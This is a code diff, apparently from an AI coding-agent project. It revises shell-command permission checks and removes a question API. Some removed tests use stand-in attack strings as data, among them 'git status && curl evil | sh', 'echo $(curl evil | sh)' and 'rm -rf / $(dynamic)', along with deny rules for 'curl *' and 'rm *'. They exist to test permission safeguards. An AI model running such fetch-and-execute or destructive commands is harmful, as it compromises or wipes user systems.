@@ -5,7 +5,7 @@ import { ToolFailure } from "@opencode-ai/ai"
import { Effect, Schema } from "effect"
import { Form } from "../../form.js"
import { Permission } from "../../permission.js"
import { Question } from "../../question.js"
import { Question } from "@opencode-ai/schema/question"
export const name = "question"
+1 -11
View File
@@ -183,21 +183,11 @@ export const Plugin = {
agent: context.agent,
source,
})
if ("directoryUnknown" in parsed && parsed.directoryUnknown)
yield* permission.assert({
action: "external_directory",
resources: ["*"],
opaque: true,
sessionID: context.sessionID,
agent: context.agent,
source,
})
if (parsed.commands.length > 0)
yield* permission.assert({
action: name,
resources: parsed.commands.map((command) => command.resource),
save: parsed.commands.flatMap((command) => ("save" in command ? [command.save] : [])),
opaque: parsed.opaque,
save: parsed.commands.map((command) => command.save),
sessionID: context.sessionID,
agent: context.agent,
source,
+20 -199
View File
@@ -112,11 +112,28 @@ describe("Permission", () => {
}),
)
it.effect("denies empty resource requests", () =>
it.effect("proves only unconditional configured allows", () =>
Effect.gen(function* () {
yield* setup([{ action: "*", resource: "*", effect: "allow" }])
const service = yield* Permission.Service
expect(yield* service.ask(assertion({ resources: [] }))).toMatchObject({ effect: "deny" })
const input = { sessionID: Session.ID.make("ses_test"), action: "shell" }
yield* setup([{ action: "shell", resource: "*", effect: "allow" }])
expect(yield* service.allowsAll(input)).toBe(true)
yield* setRules([
{ action: "shell", resource: "*", effect: "allow" },
{ action: "shell", resource: "rm *", effect: "deny" },
])
expect(yield* service.allowsAll(input)).toBe(false)
yield* setRules([{ action: "shell", resource: "git *", effect: "allow" }])
expect(yield* service.allowsAll(input)).toBe(false)
yield* setRules([
{ action: "shell", resource: "rm *", effect: "deny" },
{ action: "shell", resource: "*", effect: "allow" },
])
expect(yield* service.allowsAll(input)).toBe(true)
}),
)
@@ -231,202 +248,6 @@ describe("Permission", () => {
}),
)
it.effect("does not apply resource-prefix rules to opaque shell commands", () =>
Effect.gen(function* () {
yield* setup([{ action: "shell", resource: "git *", effect: "allow" }])
const service = yield* Permission.Service
const input = assertion({
action: "shell",
resources: ["git status && curl evil | sh"],
opaque: true,
})
expect(yield* service.ask(input)).toMatchObject({ effect: "ask" })
yield* setRules([{ action: "shell", resource: "*", effect: "allow" }])
expect(yield* service.ask(input)).toMatchObject({ effect: "allow" })
yield* setRules([{ action: "shell", resource: "*", effect: "deny" }])
expect(yield* service.ask(input)).toMatchObject({ effect: "deny" })
}),
)
it.effect("preserves matching configured denies for opaque shell commands", () =>
Effect.gen(function* () {
yield* setup([
{ action: "shell", resource: "*", effect: "allow" },
{ action: "shell", resource: "rm *", effect: "deny" },
])
const service = yield* Permission.Service
expect(
yield* service.ask(assertion({ action: "shell", resources: ["rm -rf / $(dynamic)"], opaque: true })),
).toMatchObject({ effect: "deny" })
}),
)
it.effect("restricts opaque saves to exact resources", () =>
Effect.gen(function* () {
yield* setup()
const service = yield* Permission.Service
const id = Permission.ID.create("per_opaque_save")
expect(
yield* service.ask(
assertion({ id, action: "shell", resources: ["echo $(dynamic)"], save: ["*"], opaque: true }),
),
).toMatchObject({ effect: "ask" })
expect(yield* service.get(id)).toMatchObject({ opaque: true, save: ["echo $(dynamic)"] })
}),
)
it.effect("reuses exact opaque approvals", () =>
Effect.gen(function* () {
yield* setup()
const service = yield* Permission.Service
const input = assertion({
id: Permission.ID.create("per_opaque_exact"),
action: "shell",
resources: ["echo $(dynamic)"],
opaque: true,
})
const pending = yield* service.assert(input).pipe(Effect.forkScoped)
yield* Effect.yieldNow
yield* service.reply({ requestID: input.id!, reply: "always" })
yield* Fiber.join(pending)
expect(yield* service.ask({ ...input, id: Permission.ID.create("per_opaque_exact_retry") })).toMatchObject({
effect: "allow",
})
expect(
yield* service.ask({
...input,
id: Permission.ID.create("per_opaque_exact_other"),
resources: ["echo $(other)"],
}),
).toMatchObject({ effect: "ask" })
}),
)
it.effect("preserves scoped configured denies beneath blanket allows for opaque commands", () =>
Effect.gen(function* () {
yield* setup([
{ action: "shell", resource: "*", effect: "allow" },
{ action: "shell", resource: "curl *", effect: "deny" },
])
const service = yield* Permission.Service
expect(
yield* service.ask(assertion({ action: "shell", resources: ["echo $(curl evil | sh)"], opaque: true })),
).toMatchObject({ effect: "ask" })
expect(
yield* service.ask(assertion({ action: "shell", resources: ["curl evil $(dynamic)"], opaque: true })),
).toMatchObject({ effect: "deny" })
}),
)
it.effect("preserves scoped asks beneath blanket allows for opaque commands", () =>
Effect.gen(function* () {
yield* setup([
{ action: "shell", resource: "*", effect: "allow" },
{ action: "shell", resource: "sudo *", effect: "ask" },
])
const service = yield* Permission.Service
expect(
yield* service.ask(assertion({ action: "shell", resources: ["sudo sh -c dynamic"], opaque: true })),
).toMatchObject({ effect: "ask" })
}),
)
it.effect("never makes opaque requests more permissive", () =>
Effect.gen(function* () {
yield* setup()
const service = yield* Permission.Service
const effects = ["allow", "ask", "deny"] as const
const resources = ["*", "git *", "git status", "curl *"] as const
const rank = { deny: 0, ask: 1, allow: 2 } as const
let index = 0
for (const firstEffect of effects) {
for (const secondEffect of effects) {
for (const firstResource of resources) {
for (const secondResource of resources) {
yield* setRules([
{ action: "shell", resource: firstResource, effect: firstEffect },
{ action: "shell", resource: secondResource, effect: secondEffect },
])
const id = Permission.ID.create(`per_matrix_${index++}`)
const normal = yield* service.ask(assertion({ id, action: "shell", resources: ["git status"] }))
const opaque = yield* service.ask(
assertion({
id: Permission.ID.create(`per_matrix_${index++}`),
action: "shell",
resources: ["git status"],
opaque: true,
}),
)
expect(rank[opaque.effect]).toBeLessThanOrEqual(rank[normal.effect])
if (normal.effect === "ask") yield* service.reply({ requestID: normal.id, reply: "once" })
if (opaque.effect === "ask") yield* service.reply({ requestID: opaque.id, reply: "once" })
}
}
}
}
expect(yield* service.list()).toEqual([])
}),
)
it.effect("keeps configured scoped rules above saved approvals for opaque requests", () =>
Effect.gen(function* () {
yield* setup([{ action: "shell", resource: "git *", effect: "ask" }])
const saved = yield* PermissionSaved.Service
yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: ["*"] })
const service = yield* Permission.Service
expect(yield* service.ask(assertion({ action: "shell", resources: ["git status"], opaque: true }))).toMatchObject(
{ effect: "ask" },
)
yield* setRules([{ action: "shell", resource: "git *", effect: "deny" }])
expect(
yield* service.ask(
assertion({
id: Permission.ID.create("per_saved_deny"),
action: "shell",
resources: ["git status"],
opaque: true,
}),
),
).toMatchObject({ effect: "deny" })
}),
)
it.effect("uses the least permissive effect across resources", () =>
Effect.gen(function* () {
yield* setup([
{ action: "read", resource: "allowed/*", effect: "allow" },
{ action: "read", resource: "blocked/*", effect: "deny" },
])
const service = yield* Permission.Service
expect(yield* service.ask(assertion({ resources: ["allowed/file", "unknown/file"] }))).toMatchObject({
effect: "ask",
})
expect(
yield* service.ask(
assertion({ id: Permission.ID.create("per_multi_deny"), resources: ["allowed/file", "blocked/file"] }),
),
).toMatchObject({ effect: "deny" })
}),
)
it.effect("denies opaque wildcard resources when any scoped deny applies", () =>
Effect.gen(function* () {
yield* setup([
{ action: "external_directory", resource: "*", effect: "allow" },
{ action: "external_directory", resource: "/secret/*", effect: "deny" },
])
const service = yield* Permission.Service
expect(
yield* service.ask(assertion({ action: "external_directory", resources: ["*"], opaque: true })),
).toMatchObject({ effect: "deny" })
}),
)
it.effect("uses saved bash approvals while preserving configured deny precedence", () =>
Effect.gen(function* () {
yield* setup()
-115
View File
@@ -1,115 +0,0 @@
import { describe, expect } from "bun:test"
import { Context, Deferred, Effect, Exit, Fiber, Layer, Scope } from "effect"
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
import { Bus } from "@opencode-ai/core/bus"
import { Event } from "@opencode-ai/schema/event"
import { Question } from "@opencode-ai/core/question"
import { Session } from "@opencode-ai/core/session"
import { testEffect } from "./lib/effect"
const questions = AppNodeBuilder.build(LayerNode.group([Bus.node, Question.node]))
const it = testEffect(questions)
const sessionID = Session.ID.make("ses_question_test")
const question: Question.Info = {
question: "Which option?",
header: "Option",
options: [{ label: "One", description: "First option" }],
}
const waitForAsk = Effect.fn("QuestionTest.waitForAsk")(function* (
service: Question.Interface,
input: Question.AskInput,
) {
const bus = yield* Bus.Service
const asked = yield* Deferred.make<Question.Request>()
const unsubscribe = yield* bus.listen((event) =>
event.type === Question.Event.Asked.type
? Deferred.succeed(asked, event.data as Question.Request).pipe(Effect.asVoid)
: Effect.void,
)
yield* Effect.addFinalizer(() => unsubscribe)
const fiber = yield* service.ask(input).pipe(Effect.forkScoped)
return { fiber, request: yield* Deferred.await(asked) }
})
describe("Question", () => {
it.effect("publishes lifecycle events and settles a pending reply", () =>
Effect.gen(function* () {
const service = yield* Question.Service
const bus = yield* Bus.Service
const published: Event.Payload[] = []
const unsubscribe = yield* bus.listen((event) =>
Effect.sync(() => {
if (event.type.startsWith("question.")) published.push(event)
}),
)
yield* Effect.addFinalizer(() => unsubscribe)
const { fiber, request } = yield* waitForAsk(service, { sessionID, questions: [question] })
expect(request.id).toMatch(/^que_/)
expect(yield* service.list()).toEqual([request])
yield* service.reply({ requestID: request.id, answers: [["One"]] })
expect(yield* Fiber.join(fiber)).toEqual([["One"]])
expect(yield* service.list()).toEqual([])
expect(published.map((event) => [event.type, event.data])).toEqual([
[Question.Event.Asked.type, request],
[Question.Event.Replied.type, { sessionID, requestID: request.id, answers: [["One"]] }],
])
}),
)
it.effect("publishes rejection, fails the ask, and rejects unknown IDs", () =>
Effect.gen(function* () {
const service = yield* Question.Service
const bus = yield* Bus.Service
const published: Event.Payload[] = []
const unsubscribe = yield* bus.listen((event) =>
Effect.sync(() => {
if (event.type === Question.Event.Rejected.type) published.push(event)
}),
)
yield* Effect.addFinalizer(() => unsubscribe)
const { fiber, request } = yield* waitForAsk(service, { sessionID, questions: [question] })
yield* service.reject(request.id)
const exit = yield* Fiber.await(fiber)
expect(Exit.isFailure(exit)).toBe(true)
if (Exit.isFailure(exit)) expect(exit.cause.toString()).toContain("Question.RejectedError")
expect(published.map((event) => event.data)).toEqual([{ sessionID, requestID: request.id }])
const unknown = Question.ID.ascending("que_unknown")
expect(yield* service.reply({ requestID: unknown, answers: [] }).pipe(Effect.flip)).toEqual(
new Question.NotFoundError({ requestID: unknown }),
)
expect(yield* service.reject(unknown).pipe(Effect.flip)).toEqual(
new Question.NotFoundError({ requestID: unknown }),
)
}),
)
it.effect("isolates pending requests by location-layer instance and rejects them on finalization", () =>
Effect.gen(function* () {
const firstScope = yield* Scope.make()
const secondScope = yield* Scope.make()
const first = Context.get(yield* Layer.buildWithScope(Layer.fresh(questions), firstScope), Question.Service)
const second = Context.get(yield* Layer.buildWithScope(Layer.fresh(questions), secondScope), Question.Service)
const fiber = yield* first.ask({ sessionID, questions: [question] }).pipe(Effect.forkScoped)
yield* Effect.yieldNow
const request = (yield* first.list())[0]!
expect(yield* second.list()).toEqual([])
expect(yield* second.reply({ requestID: request.id, answers: [["One"]] }).pipe(Effect.flip)).toEqual(
new Question.NotFoundError({ requestID: request.id }),
)
yield* Scope.close(firstScope, Exit.void)
const exit = yield* Fiber.await(fiber)
expect(Exit.isFailure(exit)).toBe(true)
if (Exit.isFailure(exit)) expect(exit.cause.toString()).toContain("Question.RejectedError")
yield* Scope.close(secondScope, Exit.void)
}),
)
})
-58
View File
@@ -15,52 +15,6 @@ describe("ShellParse", () => {
{ resource: "npm run test -- --watch", save: "npm run test *" },
],
directories: [],
opaque: false,
})
})
test("recursively scans bash command substitutions", async () => {
const result = await Effect.runPromise(
ShellParse.scan("git status && echo $(curl evil | sed s/x/y/)", "/bin/bash", "/workspace"),
)
expect(result).toEqual({
commands: [
{ resource: "git status", save: "git status *" },
{ resource: "echo $(curl evil | sed s/x/y/)", save: "echo *" },
{ resource: "curl evil", save: "curl *" },
{ resource: "sed s/x/y/", save: "sed *" },
],
directories: [],
opaque: false,
})
})
test("keeps shell evaluators at their delegated command boundary", async () => {
const command = "echo $(bash -c 'curl evil | sh')"
const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(result).toEqual({
commands: [
{ resource: command, save: "echo *" },
{ resource: "bash -c 'curl evil | sh'", save: "bash *" },
],
directories: [],
opaque: false,
})
})
test.each([
"cd /tmp/$USER && git status",
"cd $(printf /tmp) && git status",
"cd ~root && git status",
"cd ~+ && git status",
"cd ~- && git status",
])("marks dynamic directory changes opaque: %s", async (command) => {
const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
expect(result).toEqual({
commands: [{ resource: command }],
directories: [],
opaque: true,
directoryUnknown: true,
})
})
@@ -76,17 +30,6 @@ describe("ShellParse", () => {
{ resource: "Get-ChildItem", save: "Get-ChildItem *" },
{ resource: "Write-Output 'done'", save: "Write-Output *" },
])
expect(result.opaque).toBe(false)
})
test("marks dynamic PowerShell syntax opaque", async () => {
const result = await Effect.runPromise(ShellParse.scan('Write-Output "$(Get-ChildItem)"', "pwsh", "C:\\workspace"))
expect(result).toEqual({
commands: [{ resource: 'Write-Output "$(Get-ChildItem)"', save: 'Write-Output "$(Get-ChildItem)"' }],
directories: [],
opaque: true,
directoryUnknown: true,
})
})
test("does not permission directory changes separately", async () => {
@@ -94,7 +37,6 @@ describe("ShellParse", () => {
expect(result).toEqual({
commands: [{ resource: "git status", save: "git status *" }],
directories: ["src dir"],
opaque: false,
})
})
+7 -11
View File
@@ -167,10 +167,8 @@ const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
})
const isWindows = process.platform === "win32"
const cwdCommand = isWindows
? "Get-Location | Select-Object -ExpandProperty Path; Start-Sleep -Milliseconds 100"
: "pwd"
const helloCommand = isWindows ? "Write-Output hello; Start-Sleep -Milliseconds 100" : "printf hello"
const cwdCommand = isWindows ? "(Get-Location).Path; Start-Sleep -Milliseconds 100" : "pwd"
const helloCommand = isWindows ? "[Console]::Out.Write('hello'); Start-Sleep -Milliseconds 100" : "printf hello"
const stderrCommand = isWindows
? "[Console]::Error.Write('stderr only'); Start-Sleep -Milliseconds 100"
: "printf 'stderr only' >&2"
@@ -240,7 +238,7 @@ describe("ShellTool", () => {
const settled = yield* executeTool(registry, call({ command: helloCommand }))
expect(settled.status).toBe("completed")
expect(settled.metadata).toMatchObject({ exit: 0, truncated: false })
expect(settled.content?.[0]).toMatchObject({ type: "text", text: expect.stringContaining("hello") })
expect(settled.content?.[0]).toEqual({ type: "text", text: "hello" })
expect(settled.content?.[1]).toMatchObject({
type: "text",
text: expect.stringContaining("Command exited with code 0."),
@@ -249,10 +247,10 @@ describe("ShellTool", () => {
{
sessionID,
action: "shell",
resources: isWindows ? ["Write-Output hello", "Start-Sleep -Milliseconds 100"] : [helloCommand],
resources: [isWindows ? "Start-Sleep -Milliseconds 100" : helloCommand],
},
])
expect(assertions[0]?.save).toEqual(isWindows ? ["Write-Output *", "Start-Sleep *"] : ["printf *"])
expect(assertions[0]?.save).toEqual([isWindows ? "Start-Sleep *" : "printf *"])
}),
)
},
@@ -445,7 +443,7 @@ describe("ShellTool", () => {
([active, outside]) => {
reset()
const command = isWindows
? `Set-Location -LiteralPath '${outside.path}'; Get-Location | Select-Object -ExpandProperty Path`
? `Set-Location -LiteralPath '${outside.path}'; (Get-Location).Path`
: `cd '${outside.path}' && pwd`
return withSession(active.path, (registry) =>
executeTool(registry, call({ command }, "call-external-cd")),
@@ -473,9 +471,7 @@ describe("ShellTool", () => {
Effect.promise(() => tmpdir()),
(tmp) => {
reset()
const command = isWindows
? "Set-Location $HOME; Get-Location | Select-Object -ExpandProperty Path"
: "cd ~ && pwd"
const command = isWindows ? "Set-Location $HOME; (Get-Location).Path" : "cd ~ && pwd"
return withSession(tmp.path, (registry) => executeTool(registry, call({ command }, "call-external-home"))).pipe(
Effect.andThen(
Effect.sync(() => {
+1 -1
View File
@@ -41,7 +41,7 @@ export async function startBackgroundCli(logger: Logger) {
? join(app.getPath("userData"), "opencode", "service-local.json")
: undefined,
version: cli.version,
command: [...cli.command, "serve", "--service", ...(isolated ? ["--port", "0"] : [])],
command: [...cli.command, "serve", "--service"],
onStart: (reason, previousVersion) => logger.log("v2 CLI background service starting", { reason, previousVersion }),
})
if (service.auth?.type !== "basic") throw new Error("V2 CLI background service did not provide authentication")
@@ -36,6 +36,16 @@ export function CaptureContextMenu({ identifier, deepLink, issueLink, children }
setPosition(undefined)
}
const copyImage = () => {
const canvas = targetRef.current?.querySelector("canvas")
if (!canvas) return
const image = new Promise<Blob>((resolve, reject) => {
canvas.toBlob((blob) => (blob ? resolve(blob) : reject(new Error("Failed to encode capture image"))), "image/png")
})
void navigator.clipboard.write([new ClipboardItem({ "image/png": image })])
setPosition(undefined)
}
return (
<span
ref={targetRef}
@@ -58,13 +68,16 @@ export function CaptureContextMenu({ identifier, deepLink, issueLink, children }
tabIndex={-1}
style={{
left: Math.max(8, Math.min(position.x, window.innerWidth - 176)),
top: Math.max(8, Math.min(position.y, window.innerHeight - 84)),
top: Math.max(8, Math.min(position.y, window.innerHeight - 160)),
}}
onKeyDown={(event) => {
if (event.key === "Escape") setPosition(undefined)
}}
onPointerDown={(event) => event.stopPropagation()}
>
<button type="button" role="menuitem" onClick={copyImage}>
Copy image
</button>
<button type="button" role="menuitem" onClick={() => copy(identifier)}>
Copy ID
</button>
+3 -3
View File
@@ -31,9 +31,9 @@
},
"peerDependencies": {
"@opencode-ai/theme": "workspace:*",
"@opentui/core": ">=0.5.2",
"@opentui/keymap": ">=0.5.2",
"@opentui/solid": ">=0.5.2",
"@opentui/core": ">=0.5.3",
"@opentui/keymap": ">=0.5.3",
"@opentui/solid": ">=0.5.3",
"solid-js": ">=1.9.0"
},
"peerDependenciesMeta": {
-670
View File
@@ -7933,9 +7933,6 @@
"type": "string"
}
},
"opaque": {
"type": "boolean"
},
"metadata": {
"type": "object"
},
@@ -10441,359 +10438,6 @@
"summary": "Read shell output"
}
},
"/api/question/request": {
"get": {
"tags": ["question"],
"operationId": "v2.question.request.list",
"parameters": [
{
"name": "location",
"in": "query",
"schema": {
"anyOf": [
{
"type": "object",
"properties": {
"directory": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
},
"workspace": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
]
}
},
"additionalProperties": false
},
{
"type": "null"
}
]
},
"required": false,
"style": "deepObject",
"explode": true
}
],
"security": [],
"responses": {
"200": {
"description": "Success",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"location": {
"$ref": "#/components/schemas/Location.Info"
},
"data": {
"type": "array",
"items": {
"$ref": "#/components/schemas/Question.Request"
}
}
},
"required": ["location", "data"],
"additionalProperties": false
}
}
}
},
"400": {
"description": "InvalidRequestError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/InvalidRequestError"
}
}
}
},
"401": {
"description": "UnauthorizedError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UnauthorizedError"
}
}
}
}
},
"description": "Retrieve pending question requests for a location.",
"summary": "List pending question requests"
}
},
"/api/session/{sessionID}/question": {
"get": {
"tags": ["question"],
"operationId": "v2.session.question.list",
"parameters": [
{
"name": "sessionID",
"in": "path",
"schema": {
"type": "string",
"allOf": [
{
"pattern": "^ses"
}
]
},
"required": true
}
],
"security": [],
"responses": {
"200": {
"description": "Success",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"data": {
"type": "array",
"items": {
"$ref": "#/components/schemas/Question.Request"
}
}
},
"required": ["data"],
"additionalProperties": false
}
}
}
},
"400": {
"description": "InvalidRequestError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/InvalidRequestError"
}
}
}
},
"401": {
"description": "UnauthorizedError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UnauthorizedError"
}
}
}
},
"404": {
"description": "SessionNotFoundError",
"content": {
"application/json": {
"schema": {
"anyOf": [
{
"$ref": "#/components/schemas/SessionNotFoundError"
},
{
"$ref": "#/components/schemas/SessionNotFoundError"
}
]
}
}
}
}
},
"description": "Retrieve pending question requests owned by a session.",
"summary": "List session question requests"
}
},
"/api/session/{sessionID}/question/{requestID}/reply": {
"post": {
"tags": ["question"],
"operationId": "v2.session.question.reply",
"parameters": [
{
"name": "sessionID",
"in": "path",
"schema": {
"type": "string",
"allOf": [
{
"pattern": "^ses"
}
]
},
"required": true
},
{
"name": "requestID",
"in": "path",
"schema": {
"type": "string",
"allOf": [
{
"pattern": "^que"
}
]
},
"required": true
}
],
"security": [],
"responses": {
"204": {
"description": "<No Content>"
},
"400": {
"description": "InvalidRequestError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/InvalidRequestError"
}
}
}
},
"401": {
"description": "UnauthorizedError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UnauthorizedError"
}
}
}
},
"404": {
"description": "SessionNotFoundError | QuestionNotFoundError",
"content": {
"application/json": {
"schema": {
"anyOf": [
{
"$ref": "#/components/schemas/QuestionNotFoundError"
},
{
"$ref": "#/components/schemas/SessionNotFoundError"
},
{
"$ref": "#/components/schemas/SessionNotFoundError"
}
]
}
}
}
}
},
"description": "Answer a pending question request owned by a session.",
"summary": "Reply to pending question request",
"requestBody": {
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/Question.Reply"
}
}
},
"required": true
}
}
},
"/api/session/{sessionID}/question/{requestID}/reject": {
"post": {
"tags": ["question"],
"operationId": "v2.session.question.reject",
"parameters": [
{
"name": "sessionID",
"in": "path",
"schema": {
"type": "string",
"allOf": [
{
"pattern": "^ses"
}
]
},
"required": true
},
{
"name": "requestID",
"in": "path",
"schema": {
"type": "string",
"allOf": [
{
"pattern": "^que"
}
]
},
"required": true
}
],
"security": [],
"responses": {
"204": {
"description": "<No Content>"
},
"400": {
"description": "InvalidRequestError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/InvalidRequestError"
}
}
}
},
"401": {
"description": "UnauthorizedError",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UnauthorizedError"
}
}
}
},
"404": {
"description": "SessionNotFoundError | QuestionNotFoundError",
"content": {
"application/json": {
"schema": {
"anyOf": [
{
"$ref": "#/components/schemas/QuestionNotFoundError"
},
{
"$ref": "#/components/schemas/SessionNotFoundError"
},
{
"$ref": "#/components/schemas/SessionNotFoundError"
}
]
}
}
}
}
},
"description": "Reject a pending question request owned by a session.",
"summary": "Reject pending question request"
}
},
"/api/reference": {
"get": {
"tags": ["reference"],
@@ -20232,9 +19876,6 @@
"type": "string"
}
},
"opaque": {
"type": "boolean"
},
"metadata": {
"type": "object"
},
@@ -21013,9 +20654,6 @@
"type": "string"
}
},
"opaque": {
"type": "boolean"
},
"metadata": {
"type": "object"
},
@@ -21729,237 +21367,6 @@
"required": ["id", "created", "type", "data"],
"additionalProperties": false
},
"Question.Option": {
"type": "object",
"properties": {
"label": {
"type": "string",
"description": "Display text (1-5 words, concise)"
},
"description": {
"type": "string",
"description": "Explanation of choice"
}
},
"required": ["label", "description"],
"additionalProperties": false
},
"Question.Info": {
"type": "object",
"properties": {
"question": {
"type": "string",
"description": "Complete question"
},
"header": {
"type": "string",
"description": "Very short label (max 30 chars)"
},
"options": {
"type": "array",
"items": {
"$ref": "#/components/schemas/Question.Option"
},
"description": "Available choices"
},
"multiple": {
"type": "boolean"
},
"custom": {
"type": "boolean"
}
},
"required": ["question", "header", "options"],
"additionalProperties": false
},
"Question.Tool": {
"type": "object",
"properties": {
"messageID": {
"type": "string"
},
"id": {
"type": "string"
}
},
"required": ["messageID", "id"],
"additionalProperties": false
},
"question.asked": {
"type": "object",
"properties": {
"id": {
"type": "string",
"allOf": [
{
"pattern": "^evt_"
}
]
},
"created": {
"type": "number"
},
"metadata": {
"type": "object"
},
"type": {
"type": "string",
"enum": ["question.asked"]
},
"location": {
"$ref": "#/components/schemas/Location.Ref"
},
"data": {
"type": "object",
"properties": {
"id": {
"type": "string",
"allOf": [
{
"pattern": "^que"
}
]
},
"sessionID": {
"type": "string",
"allOf": [
{
"pattern": "^ses"
}
]
},
"questions": {
"type": "array",
"items": {
"$ref": "#/components/schemas/Question.Info"
},
"description": "Questions to ask"
},
"tool": {
"$ref": "#/components/schemas/Question.Tool"
}
},
"required": ["id", "sessionID", "questions"],
"additionalProperties": false
}
},
"required": ["id", "created", "type", "data"],
"additionalProperties": false
},
"Question.Answer": {
"type": "array",
"items": {
"type": "string"
}
},
"question.replied": {
"type": "object",
"properties": {
"id": {
"type": "string",
"allOf": [
{
"pattern": "^evt_"
}
]
},
"created": {
"type": "number"
},
"metadata": {
"type": "object"
},
"type": {
"type": "string",
"enum": ["question.replied"]
},
"location": {
"$ref": "#/components/schemas/Location.Ref"
},
"data": {
"type": "object",
"properties": {
"sessionID": {
"type": "string",
"allOf": [
{
"pattern": "^ses"
}
]
},
"requestID": {
"type": "string",
"allOf": [
{
"pattern": "^que"
}
]
},
"answers": {
"type": "array",
"items": {
"$ref": "#/components/schemas/Question.Answer"
}
}
},
"required": ["sessionID", "requestID", "answers"],
"additionalProperties": false
}
},
"required": ["id", "created", "type", "data"],
"additionalProperties": false
},
"question.rejected": {
"type": "object",
"properties": {
"id": {
"type": "string",
"allOf": [
{
"pattern": "^evt_"
}
]
},
"created": {
"type": "number"
},
"metadata": {
"type": "object"
},
"type": {
"type": "string",
"enum": ["question.rejected"]
},
"location": {
"$ref": "#/components/schemas/Location.Ref"
},
"data": {
"type": "object",
"properties": {
"sessionID": {
"type": "string",
"allOf": [
{
"pattern": "^ses"
}
]
},
"requestID": {
"type": "string",
"allOf": [
{
"pattern": "^que"
}
]
}
},
"required": ["sessionID", "requestID"],
"additionalProperties": false
}
},
"required": ["id", "created", "type", "data"],
"additionalProperties": false
},
"Form.Metadata1": {
"type": "object"
},
@@ -23430,15 +22837,6 @@
{
"$ref": "#/components/schemas/shell.deleted"
},
{
"$ref": "#/components/schemas/question.asked"
},
{
"$ref": "#/components/schemas/question.replied"
},
{
"$ref": "#/components/schemas/question.rejected"
},
{
"$ref": "#/components/schemas/form.created"
},
@@ -23620,70 +23018,6 @@
"required": ["_tag", "id", "message"],
"additionalProperties": false
},
"Question.Request": {
"type": "object",
"properties": {
"id": {
"type": "string",
"allOf": [
{
"pattern": "^que"
}
]
},
"sessionID": {
"type": "string",
"allOf": [
{
"pattern": "^ses"
}
]
},
"questions": {
"type": "array",
"items": {
"$ref": "#/components/schemas/Question.Info"
},
"description": "Questions to ask"
},
"tool": {
"$ref": "#/components/schemas/Question.Tool"
}
},
"required": ["id", "sessionID", "questions"],
"additionalProperties": false
},
"Question.Reply": {
"type": "object",
"properties": {
"answers": {
"type": "array",
"items": {
"$ref": "#/components/schemas/Question.Answer"
},
"description": "User answers in order of questions (each answer is an array of selected labels)"
}
},
"required": ["answers"],
"additionalProperties": false
},
"QuestionNotFoundError": {
"type": "object",
"properties": {
"_tag": {
"type": "string",
"enum": ["QuestionNotFoundError"]
},
"requestID": {
"type": "string"
},
"message": {
"type": "string"
}
},
"required": ["_tag", "requestID", "message"],
"additionalProperties": false
},
"Reference.LocalSource": {
"type": "object",
"properties": {
@@ -24957,10 +24291,6 @@
"name": "shell",
"description": "Experimental location-scoped shell command routes."
},
{
"name": "question",
"description": "Experimental session question routes."
},
{
"name": "reference",
"description": "Location-scoped project references."
+1 -5
View File
@@ -20,7 +20,6 @@ import { ServerGroup } from "./groups/server.js"
import { DebugGroup } from "./groups/debug.js"
import { PtyGroup } from "./groups/pty.js"
import { ShellGroup } from "./groups/shell.js"
import { makeQuestionGroup } from "./groups/question.js"
import { ReferenceGroup } from "./groups/reference.js"
import { Authorization } from "./middleware/authorization.js"
import { LocationGroup } from "./groups/location.js"
@@ -71,9 +70,7 @@ type MixedMiddlewareGroups<
LocationService,
SessionLocationId extends HttpApiMiddleware.AnyId,
SessionLocationService,
> =
| ReturnType<typeof makePermissionGroup<LocationId, LocationService, SessionLocationId, SessionLocationService>>
| ReturnType<typeof makeQuestionGroup<LocationId, LocationService, SessionLocationId, SessionLocationService>>
> = ReturnType<typeof makePermissionGroup<LocationId, LocationService, SessionLocationId, SessionLocationService>>
type ApiGroups<
LocationId extends HttpApiMiddleware.AnyId,
@@ -170,7 +167,6 @@ const makeApiFromGroup = <
.add(eventGroup)
.add(PtyGroup.middleware(locationMiddleware))
.add(ShellGroup.middleware(locationMiddleware))
.add(makeQuestionGroup(locationMiddleware, sessionLocationMiddleware))
.add(ReferenceGroup.middleware(locationMiddleware))
.add(WorktreeGroup)
.add(VcsGroup.middleware(locationMiddleware))
-1
View File
@@ -57,7 +57,6 @@ export const groupNames = {
"server.pty": "pty",
"server.shell": "shell",
"server.mcp": "mcp",
"server.question": "question",
"server.reference": "reference",
"server.project": "project",
"server.worktree": "worktree",
-9
View File
@@ -141,15 +141,6 @@ export class PermissionNotFoundError extends Schema.TaggedErrorClass<PermissionN
{ httpApiStatus: 404 },
) {}
export class QuestionNotFoundError extends Schema.TaggedErrorClass<QuestionNotFoundError>()(
"QuestionNotFoundError",
{
requestID: Schema.String,
message: Schema.String,
},
{ httpApiStatus: 404 },
) {}
export class FormNotFoundError extends Schema.TaggedErrorClass<FormNotFoundError>()(
"FormNotFoundError",
{
+6 -2
View File
@@ -4,7 +4,7 @@ import { Permission } from "@opencode-ai/schema/permission"
import { PermissionSaved } from "@opencode-ai/schema/permission-saved"
import { Project } from "@opencode-ai/schema/project"
import { Session } from "@opencode-ai/schema/session"
import { Context, Schema, Struct } from "effect"
import { Context, Schema } from "effect"
import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
import { PermissionNotFoundError, SessionNotFoundError } from "../errors.js"
